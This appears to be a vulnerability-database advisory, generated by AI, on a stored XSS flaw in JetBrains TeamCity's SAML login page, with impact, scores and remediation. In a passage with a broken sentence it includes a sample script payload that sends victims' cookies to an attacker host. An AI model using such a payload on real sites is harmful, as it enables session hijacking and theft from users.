
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-49381 is a stored cross-site scripting (XSS) vulnerability in JetBrains TeamCity affecting all versions before 2026.1. The flaw exists on the SAML login page, allowing authenticated attackers with high privileges to inject persistent malicious scripts that execute in other users' browsers. It was published on May 29, 2026, with a patch available in TeamCity 2026.1. The CVSS v3.1 base score is 4.8 (Medium) per NVD, though the GitHub Advisory Database and ENISA rate it as 3.4 (Low) (GitHub Advisory, JetBrains).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically a stored XSS variant. An attacker with high-privilege access can inject malicious script content into SAML-related configuration or input fields on the TeamCity SAML login page; this content is then persisted server-side and rendered unsanitized in the browsers of other users who visit the login page. Exploitation requires network access, low attack complexity, high privileges, and user interaction (a victim must load the affected page) (GitHub Advisory, JetBrains).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit the SAML login page, potentially leading to session cookie theft, credential harvesting, or unauthorized actions performed on behalf of victims. The confidentiality and integrity impacts are rated as low, with no availability impact, and the scope is changed (affecting users beyond the attacker's own session). In a CI/CD environment like TeamCity, session hijacking of developer or administrator accounts could facilitate supply chain compromise or unauthorized pipeline manipulation (GitHub Advisory).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a SAML-related input field that is rendered on the login page without proper sanitization.<script> tags, encoded script content) in stored SAML configuration fields within the TeamCity database or admin UI.The primary remediation is to upgrade JetBrains TeamCity to version 2026.1 or later, which contains the fix for this vulnerability (JetBrains, GitHub Advisory). As interim mitigations, restrict access to the SAML login page and SAML configuration to authorized users and trusted networks only. Implementing Content Security Policy (CSP) headers can reduce the risk of script execution even if a payload is injected. Monitor TeamCity audit logs for unauthorized changes to SAML settings.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."